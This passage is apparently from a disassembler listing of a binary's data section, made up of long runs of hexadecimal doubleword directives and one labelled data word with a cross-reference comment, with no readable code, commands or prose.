8BABA438h, 8CCC90CCh dd 72BB19A6h, 3C9EB83Eh, 97BD2714h, 827D9124h, 662E92B2h dd 0F4631EC8h, 0DDD4C0BFh, 30E85FE5h, 0AB0F02F2h, 402F2C72h dd 67BC0A9Ch, 80424BEDh, 269DA5E4h, 0A022C92Ch, 2EA14930h dd 0C078F32Bh, 0A23CD54Bh, 30ECF2A4h, 0DB0477D8h, 0B0482AF1h dd 0FC30F0C4h, 0E1F5DDh, 99546544h, 2CC5B487h, 42AEFC03h dd 0E802D09Fh, 5A5F3D06h, 9DD40463h, 67C902CBh, 46B450DFh dd 9A03022Ch, 6719F1FFh, 0C0AD1E64h, 0A7213199h, 0B09423E5h dd 0BEE02A46h, 692C249Ch, 0A02C9C04h, 8C9420C8h, 1CB9465Eh dd 793EF425h, 62720106h, 3E50CD98h, 7DA40736h, 6CA0148h dd 666C7342h, 2153F024h, 352A046Dh, 84019A66h, 0A924D042h dd 0E2005CDEh, 0B9EA83E1h, 732CFE65h, 45BE4E5Fh, 0C6333A8Ch dd 0DF0064A4h, 0CCCEFC07h, 98C24989h, 772D22D0h, 6B2C5050h dd 0E2A6C800h, 0CFD7E0DDh, 3B789045h, 0F4A91029h, 63310160h dd 18332EC3h, 29E888BCh, 9A4F6302h, 0C4521158h, 0A9210180h dd 0FEE2D116h, 0BCADD087h, 166CEA3Eh, 18208937h, 0C2850Ch dd 64B9767h, 0AC273B26h, 5AF35C05h, 0B400C99Ch, 0CB1D2A34h dd 8C849708h, 0BC04E86Dh, 91018CB7h, 8C2F6703h, 0A8308F9Ah dd 696C904Eh, 86369E0h, 204262B4h, 825C2F60h, 9C47B4Dh dd 29E12977h, 0C8C80594h, 8D2B40Ch, 0F1F80231h, 0F4B0FAA9h dd 0CE398C52h, 408A3363h, 0FEA0252Ch, 6BAFE810h, 5D781516h dd 6CF91E00h, 174F6A82h, 81279E10h, 212C3D18h, 1068AD3Ah dd 2143A8h, 58118CF4h, 9717FA59h, 2D00DF74h, 7E12310Fh dd 0BC6F6B18h, 60BCC430h, 3D032BFEh, 0D0DC0D60h, 2BF51BB0h dd 0AABAB300h, 0FA278669h, 8BD60DA7h, 68D0825Eh, 29DCECCh dd 40CEC93Dh, 9E7667C0h, 0F2465E28h, 93B6D000h, 0B772F8Dh dd 0E5F1921Dh, 76B422AFh, 5A9C7228h, 80805FBFh, 0B5DB46FBh dd 0C0169F3Fh, 104165BDh, 33022AF5h, 0C4288831h, 168CEBBCh dd 17301A5Bh, 0AE5088BCh, 0EC2A880Eh, 0B94A808Eh, 0E99C1Fh dd 56297DE6h, 0B499B068h, 904C6259h, 49F032C4h, 0B2D120ACh dd 4C01E9FBh, 0FA108035h, 0F44695C6h, 0EF17FF29h, 756937E0h dd 0AE3C8706h, 537A8059h, 0A670251Ah, 0D67725BDh, 0F89888C6h dd 0F86E08DDh, 3B18F374h, 57B1EE00h, 1442664Dh, 0C6213F1h dd 2670C2ACh, 2B42FCE6h, 6822CC48h, 0CA4CB0Ah, 0DCA880A0h dd 0C602FB46h, 0DC2A3568h, 0E7664C79h, 8BB8240Ah, 81F7006Ah dd 91905ABh, 742EC904h, 408092FEh, 5E26CF01h, 3872F0B2h dd 4A742C48h, 87801C9Bh, 4F5CEF07h, 0C8E08E3Ch, 95DE10DCh dd 9EED2A0Bh, 320FF841h, 30C1F294h, 4A007D3Ah, 371C7420h dd 0E7B53457h, 0FD87E06Ch, 7489093Ah, 9D09F846h, 0D9FC2ECCh dd 9AED065Ch, 320488E2h, 0DDF9C25Ch, 0B8E8E0A8h, 0FF30028Ch dd 2EE60309h, 72500076h, 7F0D009Ah, 0E7FE1A1Bh, 0C40095A6h dd 5615220Ch, 99D805F1h, 18B5D1C8h, 0F5B02655h, 0FE736190h dd 0DD8A0093h, 2C9D9FA7h, 62808291h, 4FC20D1Fh, 0F4EEF802h dd 442A779Dh, 5ED71750h, 0F310421Dh, 0AC90BF80h, 3598E9FEh dd 7514324Ch, 0D9BE1900h, 9F2524E8h, 9C209FECh, 842AF3B9h dd 9CAC869Dh, 5C300D40h, 0DFC0850Ah, 36D5E806h, 0F68C031h dd 0F08CA4C8h, 98A0DDC9h, 71D94DF8h, 2663F505h, 0E0C01EB3h dd 596CA4B8h db 0FAh, 50h word_505446 dw 2401h ; DATA XREF: ___:off_435DD0o dd 0B037B22Ch, 984F3EE8h, 1DCC019Ah, 9083E907h, 8D3A8C30h dd 0F6023003h, 4A19225Ah, 0C8248BC0h, 0EE44C0ECh, 0E4B1513Ah dd 0CE7F1D00h, 8693D3h, 0C14DE790h, 0FFC246D1h, 0C8352D18h dd 2E62F5E0h, 408CC074h, 2CF0A624h, 57023876h, 5AB468DFh dd 0AC45E12h, 4EFCF7B0h, 95766BE2h, 42F40100h, 750BEC4h dd 0D056223Ch, 100D0247h, 465CACBCh, 0E33D00C2h, 0DF902252h dd 61E06EAh, 8924E64Eh, 8F5FA109h, 0F350A983h, 0AF447044h dd 0E7247601h, 8CD7DF9Dh, 0A4209AC8h, 5C0F56D8h, 258269A0h dd 0D006CF00h, 938EEB76h, 0F9361360h, 3228C1A7h, 4BCF11D8h dd 886231E1h, 25AA3602h, 0B45CFCD3h, 0C9809501h, 3E2EDE5Dh dd 78C7784h, 0B88953CCh, 0A819FC8Eh, 68415Ch, 0F46E52A6h dd 1270EC0h, 2FFF7C2Ah, 6AB7882Bh, 408F2412h, 73C0EA88h dd 49055508h, 320B34CAh, 3447EDD9h, 0A864ED64h, 3A64904Ch dd 20708042h, 49B11B4h, 43730117h, 67724DF9h, 1BC4187h dd 0A9F303B2h, 0AC21ADFBh, 22336C00h, 69DB2455h, 5A3002E8h dd 0D4646859h, 444DF43Eh, 0EBE18BB4h, 241815Dh, 62B600Ah dd 0B63F070h, 0C97795B5h, 231E4451h, 0EF534D80h, 49B651h dd 3C5D27D0h, 5669DA6Ah, 8E1631EAh, 3A36D9h, 4113BE23h dd 163C0Bh, 0A73545DBh, 2098B82Ch, 5F74360Bh, 0BA8B927h dd 0F1E8E2DCh, 0F9778048h, 22FDB1B7h, 68950900h, 706EB38h dd 44819DF8h, 0A5A7F6AFh, 7678CA31h, 1892A7DCh, 8C45CCCh dd 4CB928E5h, 0AC0FC725h, 0A03B87BDh, 580C89Dh, 27378B58h dd 0C91C3CE4h, 0C15E620Ch, 2A7BF1B1h, 371FBCBEh, 81CAF288h dd 0FD5DFFA5h, 38443BB3h, 3604379Ch, 0DDF8E489h, 0D451DB00h dd 1DF44F52h, 0BD6409CEh, 2019C297h, 960FF86Eh, 83308500h dd 0A6B72426h, 2C9D2E64h, 0A2370954h, 7F792851h, 8D02C818h dd 77E75612h, 419C7C2Eh, 7B7ED26h, 0B8742BB1h, 0A25E08Bh dd 0B691C417h, 780E2C81h, 0DF304027h, 0CE415136h, 3C172C21h dd 0AAFC8CEh, 80A4AA50h, 66694ACFh, 60B6C006h, 0D8D42F81h dd 0C7F8E75Bh, 0B901090Eh, 3C5A59B4h, 808AF14Eh, 0A5843026h dd 2DF28461h, 18205F70h, 1D314CC5h, 0C0175F06h, 800E63C4h dd 0F8040203h, 0D2E68791h, 5AE52898h, 61508C22h, 0F46020B5h dd 18900BC3h, 3906AC03h, 568AD92Eh, 4F24A47Ch, 38165B00h dd 1F00A7C2h, 0AF8083E2h, 0BB0A2F06h, 0B3EE70B8h, 0D5D7E005h dd 10E0E556h, 5C849ED2h, 881C8446h, 2EF20072h, 97075F19h dd 0DA05DD0Bh, 0BACC115Eh, 0FC2291CCh, 3C375CFEh, 4A521510h dd 0E400086Eh, 3A2E0DAh, 3E4A741Fh, 0DFB088h, 1E6F90FDh dd 6B42627Dh, 0C0953700h, 0CF7B91CDh, 0A0D922F9h, 0BF599CB9h dd 64002818h, 0FA5498B8h, 6051014Ch, 0CA1221ACh, 7201ADE4h dd 0CEC9FB9Bh, 46F6A8Bh, 0AC268A88h, 4E692E8h, 4CA24EA0h dd 0F9C87303h, 0B686642Eh, 2E04F658h, 0B0C0DCA7h, 0BEFA74B8h dd 15C22494h, 26610036h, 4899B431h, 31B75408h, 8AAE518h dd 10BF4210h, 248CCB89h, 5F89C31h, 0B68BD40h, 0E6025C6Ch dd 203C2808h, 6D6A20F0h, 14463EDh, 9A659BFEh, 223EF5B0h dd 2A1156CCh, 81E8FEF0h, 8C7720AEh, 0B108AF9Fh, 2F68C080h dd 448CAC29h, 7590E1BCh, 0C6198500h, 18B604ABh, 44A494C2h dd 0A218E48Ah, 33F1CF00h, 0E7DF6E8Bh, 837E0137h, 0DC34CC5Dh dd 0D83D0DA1h, 8B0177A8h, 24ADFFE0h, 2F6EAA2Ch, 0EF2380h dd 39D46F2Ah, 9A13775Ah, 7CA48DC9h, 232904E1h, 0EE74C2A0h dd 0C0E09482h, 0C3A1A5Dh, 82642F20h, 0E9E0DF6Eh, 2253851Eh dd 404587CDh, 1FECC4F6h, 40A7097Ah, 2CD59E42h, 1A02168Ch dd 132B5566h, 0B1C96140h, 2F2EE2E0h, 6402B57Dh, 0B8A94E0Dh dd 0A89D0487h, 7830C20Ch, 9FA08073h, 892C8CBDh, 32F309FFh dd 7C78A698h, 17116702h, 0FC50E2E8h, 612F80F4h, 31194CE0h dd 6A721000h, 2EBEBA34h, 80EE5A6Ch, 6BE9FA10h, 7E420D00h dd 9BF891F1h, 2246010Ah, 9235EA5Eh, 80287CE5h, 0D621A7B8h dd 3E6E78E4h, 0F81C5Dh, 233ABD7Eh, 0BEAD8FCBh, 685AB427h dd 0EA0704h, 0F80C146Eh, 8D5E5FACh, 94EBF9C0h, 1CB79AD8h dd 0C00625F4h, 698B5A83h, 68B95BB4h, 26ECA402h, 8E6440FAh dd 12EC9408h, 68760013h, 0DE4B361Ch, 0A8FEF801h, 7B073886h dd 0A328660h, 0A50C6291h, 0FDBF0C90h, 2F079B91h, 89B86CF7h dd 90239F00h, 517F4Ah, 54B1340h, 6FC4F9CDh, 52B83072h dd 791D6100h, 6AF75CD4h, 14970022h, 28664146h, 789083BCh dd 0C3A528C0h, 0B8B03A87h, 6B8EA15h, 2F0D821Eh, 0B4002024h dd 0B0FE6FF7h, 0B81AA32Ah, 0F09E8BAh, 0D4AB5280h, 91A70803h dd 0FAC86AC0h, 304ECF3Ah, 89CB08F2h, 858B0DEAh, 0D0305791h dd 73006F9Ch, 3EFD322h, 0F712A01h, 767F4643h, 968009EEh dd 8108C887h, 8E109060h, 12576Bh, 0A501147Ch, 0B084C2F7h dd 54903260h, 79DF712Ch, 6BE0058h, 77DDAEC1h, 0CB018BF4h dd 7E95E991h, 0F1A1B407h, 3AD0D504h, 0E6EE0083h, 0F7FF0F8Eh dd 0A7000B39h, 2E8FBE41h, 33D3172h, 3A0D14AAh, 9BE9B545h dd 0D220819Ch, 2A51EA28h, 60DF75D8h, 8B2F5902h, 0E090DD10h dd 237344h, 1E58E767h, 0F7E29165h, 0AF228201h, 0C5E40E14h dd 98D6C6E0h, 7F410718h, 0C0967B5Ah, 0DE70BD28h, 0A3332A01h dd 0FCF78E02h, 30F1CAE0h, 0CC781A4Dh, 640277B3h, 0C1B10F92h dd 0E31DE3F9h, 366A0046h, 0F226FF51h, 0BC7C0156h, 37B33E0Ch dd 8E305Dh, 0F4D38FC8h, 0D9BD649Eh, 833D8905h, 880FE8AAh dd 0C3DD4329h, 0DD80CB3h, 14D17032h, 5D7F4000h, 1A0211F7h dd 0AD98A047h, 34137EFh, 0AF56C011h, 3E148B66h, 2A42EB2h dd 89D4BB97h, 0F4EEC06Eh, 0A0BD3DE1h, 0C06D751Eh, 3C4872EDh dd 0DB0C01B3h, 6014F0E7h, 997B7BA5h, 0D07F1820h, 38C29F09h dd 0A0AD87BCh, 0BDFA29E8h, 118CA02Eh, 0B4E914B8h, 4A01E4ABh dd 95AA33BCh, 37FC53E1h, 0ADC25E0h, 0B819C200h, 88AE10C9h dd 0D02D03A9h, 0C86BA867h, 0F41BA1B9h, 2300F05Ah, 29EA4FD6h dd 1FD98F96h, 3C51DE21h, 69AA1860h, 0B12BA806h, 0FDC12053h dd 4E00DA6Fh, 137C26E7h, 66A73Ah, 8BCAA68Fh, 0E62FE80Fh dd 56F84Eh, 5BA497C1h, 0E3AD9DC4h, 9AEBD91Ah, 8203B39h dd 0C90BC181h, 57001421h, 7EC525ACh, 0E147CF6h, 0D2619CB0h dd 3F66DCC0h, 1E03E850h, 31E32591h, 6D6AD10Eh, 8953449h dd 0F91180D3h, 0A00FB971h, 3E74C187h, 0F3AEC740h, 0D1002414h dd 968780F6h, 127927CBh, 27A5D6Fh, 2D0A8C00h, 0ED953440h dd 8BF76802h, 4014895Eh, 1EE46F48h, 0CD7DCA90h, 0D5292701h dd 52C51167h, 11913811h, 151225C6h, 8951DD10h, 0A1ED084Ch dd 88082928h, 84204F44h, 0E7221122h, 4D285041h, 9E107412h dd 81518924h, 64F2E429h, 0A9E8413Ch, 0D6FB00DDh, 8D27266Eh dd 0D8E0FCA4h, 216D39h, 0F1B2562Bh, 167A34Eh, 0B1581B4Dh dd 0DCB649EEh, 601680Fh, 4FBFC7CEh, 2170B88Ah, 71B100E7h dd 1A3D1480h, 6A00E3B3h, 5596A2B4h, 1E79EEh, 32973486h dd 2FDBD729h, 0BDA17500h, 10765CDEh, 852B005Fh, 946EAA9Ch dd 0A80E5D55h, 0C04A9124h, 596ABDC7h, 652B00EAh, 54D3FBB1h dd 4500F875h, 7993D1D6h, 70437334h, 7EE64Ch, 0DE6D15F7h dd 635168D0h, 75193100h, 0DC783A56h, 0D87000BAh, 0A95FE4A8h dd 2E00320Ah, 0C16506E6h dd 0C21FDDh, 6EFF5042h, 8AEB61B1h, 0A20A111Ch, 0DC87125Eh dd 0C7B02402h, 390DA0h, 0DB9DA47Ah, 91A10676h, 0FA8A4E00h dd 5A1D4B11h, 13EA00B1h, 0C0B8FC50h, 16005C74h, 0CA3D35C2h dd 0B68F15h, 0BDD74CFBh, 0C52183E0h, 30037426h, 0C880B21Dh dd 565787DCh, 0F43F0032h, 0A89EC4F6h, 0AB004472h, 0B4ACA394h dd 4226C7h, 559AF00Dh, 2499A44Bh, 0F18B8C01h, 0C34997A5h dd 0A2A3C280h, 0BE81DD9Fh, 0C1EA6A00h, 4BB7C7BFh, 0C86D0029h dd 1F447513h, 6F001227h, 2D2314B8h, 3A430C5Dh, 0F385EF36h dd 0C6F7D04Ch, 0DD00F8E5h, 44162C6Ch, 3819C676h, 8180EC83h dd 0C0025D04h, 177D5972h, 3E343Ch, 40B02FF5h, 58E12E62h dd 0AC800CE9h, 1007E7C6h, 0A24A3500h, 67C074B2h, 61B003F8h dd 3AD7142Eh, 5FE817ABh, 9B138231h, 260063A5h, 32F93951h dd 621D0695h, 29F5884Ah, 0E0280200h, 5CB3350Ch, 98420455h dd 0C0C6B9A4h, 57BBC7E0h, 0B86A0830h, 3D89C5D4h, 1D006C94h dd 0B2F2171Bh, 0CE24CABEh, 0E2005C85h, 955868B8h, 11FF1F56h dd 7DFE8084h, 6DEA9924h, 1A3B2D7Dh, 5F6E0071h, 29FCB78Ch dd 0A2CA0642h, 49C10EF5h, 0B51D1E00h, 436D9FD1h, 367E00D7h dd 0DA6E214Ch, 0F0768161h, 0D0B43800h, 6AA3B17Bh, 7C3B1868h dd 1980604Bh, 13F94801h, 0A057C9A2h, 656065E9h, 0DB8D000Eh dd 334C518Ah, 0B8016D9Ah, 0B344437h, 0B740C26Eh, 0BAE65Fh dd 9FF89BBFh, 834A369Dh, 0F735A00h, 5358D36Fh, 0D0DD0596h dd 0BE6893h, 0CA5DB794h, 321EF564h, 7300240Bh, 33FB62D0h dd 941B0008h, 3561D17Ch, 0F000E097h, 9B1801A4h, 0DEA709h dd 3902A5EDh, 0C8E4C3D3h, 5D232900h, 6160F6A9h, 3419003Fh dd 1D02B19Dh, 3B7C63D9h, 0F002A1F0h, 0DF100C77h, 209CAE9Bh dd 3503601h, 0F6F0C056h, 0AD1E464h, 99F89554h, 0B56CAA00h dd 516BDBA1h, 94DF012Ch, 0CDAF93CBh, 0BF4406Dh, 9E003355h dd 0BF2083F4h, 0BBA5017h, 0E76027A6h, 0EA2CA900h, 62247A1Fh dd 2004C891h, 930806E3h, 42E1EE00h, 0EF09ABh, 797DB36Ch dd 0FC5135B9h, 444ACB00h, 0C05BA18Dh, 0B14E09F4h, 888191F3h dd 2084EE90h, 5072FBBCh, 0F618CCECh, 0D620F496h, 4C4BB88Fh dd 0C9000E55h, 0BD98CB39h, 8300C5B7h, 5F9A4531h, 11F975h dd 7E78F44Fh, 0B0126A21h, 54980A7Ah, 96AC9700h, 0F08C9318h dd 90B80B6Eh, 0C380DE8Fh, 55B9AE1Ah, 0FB01A901h, 4982AA11h dd 7BFF0B9h, 3C004C4Dh, 1447E855h, 0C100CAE5h, 494E0AA7h dd 0B076A09Eh, 0E4F00090h, 5FFEA95h, 0EE004167h, 9EC9BD8h dd 33E6201h, 0F196D5F3h, 34E0A843h, 44008950h, 99C00B6Bh dd 6824D39h, 0D6016D47h, 0BF00D6C3h, 0D3A17A28h, 3C6C53D4h dd 8CBF205Ch, 87FC3826h, 601EE744h, 0ECD0C0BCh, 0E6000892h dd 0F412E30Ch, 95E7Ah, 52BC96B3h, 0A4242E42h, 8B60F80Fh dd 3BDB601Ah, 158739A1h, 0A8E772B8h, 40F6301Fh, 0CB5C236Fh dd 9D0EB6E2h, 42AB64A5h, 0E026C389h, 71B8DC23h, 0D96200A3h dd 6F5EC2D3h, 450036B2h, 9512F71Dh, 331EDB5h, 276A9F1Bh dd 3EC04630h, 201D59CFh, 30445C2h, 35C0FE0Dh, 6124A9h dd 821ADBECh, 7202D91Bh, 9D9EAA0Eh, 3D3EC4h, 274A8DD5h dd 1F415B25h, 815F6985h, 3F023B4Bh, 8F9A3084h, 141C1C60h dd 0F43E3188h, 5628002Ah, 68526E42h, 7F03E046h, 70F36F87h dd 0FBA7F0EBh, 7A730063h, 4A43900Eh, 0D100133Fh, 0CFE5FCDBh dd 48A5AF49h, 0F9017405h, 252870E6h, 0FFB8EB90h, 22006AD1h dd 0E8B0923Bh, 69CDE4h, 5A37811Dh, 0B742EDAEh, 6E195300h dd 0BDEA857Ch, 0B5101BBh, 0CBD20A5Ch, 14E0FEB3h, 0EB55D0B7h dd 873360C0h, 3B79CE00h, 477821E8h, 82860033h, 69F111E1h dd 0B0EB71h, 0E500BBB0h, 65A4A0B5h, 9BCCCEh, 0ADAB83F1h dd 5E20DA03h, 8C0DA800h, 0DE7D868Dh, 6DF93DB9h, 3457F680h dd 6ACB8B4Bh, 75009C90h, 6C85B77Ah, 18664DEFh, 21E597FAh dd 2C0352F8h, 3FB5F8Ch, 410C00A1h, 5753D7A9h, 615C68E0h dd 0B83A2C25h, 1E282E07h, 0BABA03Fh, 1B0F419h, 61E75E55h dd 0F853E450h, 6D09973Bh, 807728B2h, 0B9D0B6FCh, 0F5B1077Fh dd 80FE6589h, 9A5D0629h, 0E98FFC00h, 26054188h, 68774CE5h dd 6CCCBC00h, 72AC0A9Ch, 7464F012h, 5220A0C0h, 3043592Eh dd 581CB200h, 0ADCD3D30h, 11F78200h, 6B872553h, 0C780060h dd 472F88C5h, 75095D9Ch, 209BBE09h, 8F0177C8h, 0C427482Bh dd 59817773h, 0DF26C8C5h, 9F0C005Ch, 62C4EC8Eh, 6F011A90h dd 0E083A80Eh, 9B706481h, 0CF8C0173h, 8AF457FEh, 8FF0306Eh dd 15B6B400h, 0DF5601D4h, 0FBB1CBEh, 9F518096h, 4DCEBFB7h dd 0AE3EFDE2h, 22FB0349h, 77C1ACB9h, 0D1900E0h, 0CF76BA21h dd 3700FA5Fh, 7F901F04h, 0F766CCh, 0EA1E0538h, 0E0AC1CDAh dd 0D7D5BD00h, 0B11AE2C5h, 0D6BE3CE1h, 74F0AF00h, 0A509771Dh dd 221598C0h, 7305D4Dh, 0F5A1A848h, 8261D05Fh, 0DD00C8A9h dd 8E1D0129h, 0F816D279h, 0F44D2844h, 6BD40AD8h, 9424F0h dd 80FC5704h, 0DF00C17Dh, 5489FA68h, 75CFEA8h, 325E95DCh dd 60DAB2E1h, 4274B880h, 0AC0028F1h, 25BC7E9h, 0E46CBBh dd 0CE521F65h, 0B82CA9Dh, 3E97BA03h, 0A44A3416h, 0F54E80C0h dd 4A08607Ah, 63B2B8B1h, 44B44Ch, 773A105Bh, 0A394A7h dd 4F54859Dh, 0C9015992h, 0BCCD9309h, 0C180071h, 365A39h dd 0ED9AC24Bh, 3860050Ah, 0A5C54500h, 5B19AFFAh, 638F002Dh dd 0CCD48058h, 3F022790h, 117D5594h, 544C4C6h, 1366998Fh dd 0F840E2Ch, 9CA097EBh, 8329E2C8h, 8B7D8E12h, 8C105700h dd 1F98AFB4h, 4007F56Ch, 0A995401Fh, 0C000DE92h, 13C8AD41h dd 711B338Ah, 0D4CE5819h, 0B1785800h, 41ECA7C7h, 0A942D0B5h dd 10735A7Ch, 40D03A1Eh, 2FEE291Dh, 3810CE1Ah, 0DE1C591Bh dd 52B840BCh, 4737C518h, 4E300E0Ch, 98D605Eh, 0DA32B18Bh dd 97250C40h, 43F4688h, 6D560254h, 89E48740h, 969DC448h dd 356F3Bh, 0EE630207h, 1179A9Bh, 2A8DCC38h, 0C013DADDh dd 0BD01D04Bh, 917C2109h, 0FC600818h, 43AC0077h, 48D1FA53h dd 0A2008A3Eh, 72D9EDFCh, 0F87E94DBh, 0F7531E4Bh, 0AF7FC0D7h dd 960107B9h, 7954D0C0h, 5C87DF5Eh, 7B16D647h, 76E00039h dd 0A171DBA2h, 83026100h, 3D08320Dh, 7B7F6ACh, 11FAB334h dd 2C710280h, 0F4923740h, 0A685700h, 8CC4BBA6h, 1D57904Ah dd 402BA774h, 0CF0D91F2h, 0E416D8DDh, 4C83B193h, 1CC4E005h dd 755F98E1h, 0CFB50B3Dh, 6D80C706h, 0CEB8215Ch, 4A0D0100h dd 6D1252B6h, 0EC870083h, 0F51B9BBh, 2FF49668h, 0ED67081Ch dd 15DF8Bh, 773CB0Ch, 482C1684h, 3E1350h, 0C9C7F72Bh, 0A6507D02h dd 0A20081A0h, 250DC269h, 3F4583DFh, 0E400FF6Bh, 1C394D0h dd 42008F73h, 130C11E2h, 489CC137h, 8089F45Ch, 0D0F2860h dd 0E6AB1700h, 0B2988EF7h, 6770F1Bh, 4B402101h, 5FB3054Eh dd 89929100h, 2B11E47Fh, 2AAF001Ah, 56BD23CCh, 7B00AC66h dd 0FC8C14D5h, 25E12E3Ah, 6882442Dh, 0DCE19E80h, 733E430h dd 2E1B2707h, 79501A95h, 1EF7F6E1h, 0C29AB68Fh, 0BBCDEA63h dd 0B032058h, 0C2A17E03h, 0CE10094Ch, 0DC0059EFh, 0B84E9FC3h dd 81491600h, 1110451Fh, 0E09004A8h, 834F3BB2h, 63E254A4h dd 2C1260E4h, 0DEEBh, 0D498E8B8h, 79F9EA8Fh, 5CA60007h dd 0FFB99739h dd 0C74C4230h, 9DFEC004h, 66E2674h, 12996AECh, 435CD8B1h dd 755E003Ch, 0C08D2B79h, 0D9F0BD4Fh, 5744C8C4h, 0DD6B22C0h dd 0FE0E00C9h, 0AD61E856h, 2C04D201h, 64E95807h, 63F8E0E1h dd 37F793Ch, 0F8318C9h, 0D788C567h, 2F003AD8h, 0E8E61265h dd 0D9A553h, 5444D507h, 0F5DE7A10h, 0DCACF801h, 0A6FB0A8Ch dd 0BCBE3D4h, 6287E893h, 0DE18E700h, 202087Bh, 0C9BFB238h dd 71C50CDh, 8A69B7E1h, 46110281h, 7349CCA0h, 436020FFh dd 0DB714F11h, 0EC210003h, 1D0A9FC8h, 2B271459h, 44648031h dd 3842C117h, 0B3899C95h, 0D400723Dh, 0CFA2633h, 4CA9F600h dd 0DBC1DF45h, 0E8A149EFh, 8CF9100h, 0B4DACE8Ch, 0C6B2A800h dd 0BC94ABFEh, 0BFB500E6h, 761C9B9Eh, 0FC05D2A4h, 3AB87AF2h dd 0E8150C0h, 5FAC0040h, 0ABA5B383h, 73006BA1h, 0F658B771h dd 0DE55E2h, 0AEDAD3BFh, 0D8448EA2h, 2513341Eh, 5089589h dd 8381E9E4h, 7E613538h, 1EC2EFDCh, 0B325Ah, 0FDD518C0h dd 51002D59h, 0BDDF2B07h, 7623E792h, 0F64C0089h, 21EA8DBAh dd 5A04CD7Bh, 17C35C41h, 1FC7E481h, 0F3184DCh, 10409033h dd 15EE12C0h, 83003BD7h, 0FD0738Ah, 0FE61B2A9h, 928AC308h dd 0E8A028B8h, 8100482Bh, 0E9CB5F56h, 0D90E01h, 0A84CC816h dd 44A4AB3Ah, 0B86A6E00h, 69275AF2h, 0A27B283Dh, 0E5762CC8h dd 55530009h, 21CF3C0Dh, 0A4691700h, 0EA5CC8EDh, 985403AEh dd 8AF573E5h, 5BF2E6D0h, 0DE2F4C1Eh, 0B1A787C0h, 9016EBD5h dd 94B01F92h, 0C466C0CDh, 0D02B615Ch, 93DA7317h, 6E334020h dd 91F8DDh, 184DD2AEh, 6CDE9DDCh, 20DF8400h, 58EAA4A6h dd 0B2F22487h, 0BC230BA0h, 0CBD954A0h, 0AE3E20ECh, 0EFB0FE6h dd 0BB36E083h, 7D3DCACDh, 351D0069h, 0E14C8188h, 2600CC71h dd 50848938h, 9F673DBh, 0E79F9C82h, 0EFA3A000h, 46011386h dd 4B47A1F5h, 64D091CAh, 3004009Fh, 978A6253h, 0BB48DA60h dd 774E0054h, 3B810BA1h, 0BCF10028h, 4884D811h, 0C300BD5Ah dd 44D2D51Ah, 1A69A93h, 4B675BB1h, 0C02831A8h, 0FB014C0Fh dd 8FB24F49h, 15D83A22h, 40773Bh, 77F5A29Eh, 95571785h dd 14290300h, 61968B63h, 0C5A609CAh, 0B4E03E90h, 841EB3EFh dd 0EDC06D53h, 34ECF7C2h, 6E0B0090h, 0AAA65795h, 4E1E25A8h dd 0F60098BCh, 0D11693FEh, 8FCC16F1h, 3DC40B4h, 32386502h dd 8B79F1Eh, 365CD004h, 0FF7FEC7h, 355DD100h, 4420082h dd 0AD961885h, 4B034E40h, 97198A02h, 5958C0AEh, 9EA609BCh dd 5003A1E0h, 33C0ABEDh, 711DACA0h, 1A83D9C6h, 0E8242D82h dd 0B4EB73F9h, 6CEF00C8h, 6178A5DBh, 401D0B8h, 7269B14h dd 3C703F3Ch, 0F3590047h, 0E5C4B5E1h, 0A8004104h, 0B703ABD7h dd 0FCF11EDh, 937A56EFh, 36B8A520h, 0A3038B3Eh, 82AED668h dd 4784C8BBh, 41FE008Fh, 91D8036Fh, 0C600433Fh, 0CD6457A6h dd 0B86D5C78h, 93B7008Bh, 0A8923EFFh, 61002AE0h, 528AB9FAh dd 122E3Bh, 0C0E6CC40h, 6B41746h, 10747500h, 3E3D0B3Ch dd 0E007E20Ch, 0AA910265h, 0A4FA6499h, 0E70094F8h, 8EF6E061h dd 6CEB29h, 321ACAA8h, 0C41B23F2h, 85BE9E00h, 2034604Dh dd 0C8CC003Eh, 58454393h, 0D648D2FFh, 80493850h, 0DBD5035Ch dd 1F4692CBh, 870C4144h, 0B1A0B5E3h, 4083AF8Bh, 22C2F5F0h dd 0C18F2A12h, 1E8994A4h, 1F44730Bh, 3F5F46D0h, 8F7E186Ch dd 0D77523Ah, 40C37213h, 1C409AF1h, 1D52AF85h, 4A78F6Bh dd 0C06CF40Ah, 6AFCD306h, 6EDBA300h, 3302E1ADh, 0C8B7A9Ah dd 91728D31h, 422A4630h, 5F0084AFh, 0AE7E0D24h, 0F2F8058h dd 0DCC3527Fh, 87BF2E60h, 0CE007672h, 0CC37CA03h, 6025CF32h dd 9AF74048h, 0F5065D22h, 72ED87E4h, 0EFB40050h, 432D0104h dd 0A0EDAA3h, 437AF4E5h, 0E816D0CCh, 0BE87082h, 0C00EF655h dd 0EF09FCC0h, 0F4E68B00h, 0FA92D7C1h, 0C2A7004Ch, 5EC73696h dd 0DF3656B5h, 0B9D654h, 0C4A4C089h, 876F33E6h, 5F63F376h dd 0C1F8ED80h, 183A2A3Bh, 14943147h, 0B5E401Ch, 5B84A9B0h dd 556512EDh, 5F48007Fh, 1493C416h, 73E06800h, 84BC64B2h dd 0E76C00F7h, 0E4974B28h, 87FA5039h, 201B0401h, 0E1C7BADDh dd 0F198830h, 11147546h, 50633947h, 2584FD0Eh, 800F6DF8h dd 0A1FE97B1h, 0A45CE1B0h, 0B36E230h, 18DEBC28h, 0D83FBCA0h dd 7B72091Dh, 84F4C501h, 9405DA2Fh, 0F8CDFAC0h, 2BBF0390h dd 0D79D32E0h, 0DE3CD6E8h, 55E90460h, 1EF2673Bh, 0CEED7AFAh dd 7C2AAC6Ch, 0CF970293h, 6056250Dh, 5EDFEE80h, 1CCED92h dd 0CB8C1E2Eh, 82532F0Dh, 6FCF0E21h, 0B3A0A0ABh, 108EB47h dd 0E538734Eh, 24AA9592h, 0C316E44Ch, 40003FBAh, 4FDEFB3Ch dd 4858011Ch, 0DD8B0FD3h, 84002FDBh, 0CEB2361h, 2FC300A2h dd 0F322039Ch, 400796Eh, 27BE86FFh, 60C9F29Ah, 237F181Ch dd 9F00A80Ah, 5A7BA44Bh, 3EEA61A7h, 787F29D0h, 59061E5Fh dd 711601C9h, 0D49C2C97h, 0F7001CD7h, 79227E4Eh, 0F8093075h dd 2ED67C6Eh, 30F6C80Ah, 0F2EFFE50h, 6600D9F8h, 35F0D076h dd 4E7F0898h, 1EF1077Dh, 18E2B625h, 0B20053EEh, 1BD42688h dd 1E59FBC0h, 0F27918Fh, 0C7AC76CDh, 7E00FE28h, 23787942h dd 6080051Ch, 92131840h, 0FCF8D162h, 7B82E800h, 0B7AEEBDBh dd 0E7792Ch, 0C73FB9DAh, 0D6FE6A84h, 359B6E00h, 8E2D67A0h dd 0A17FBAh, 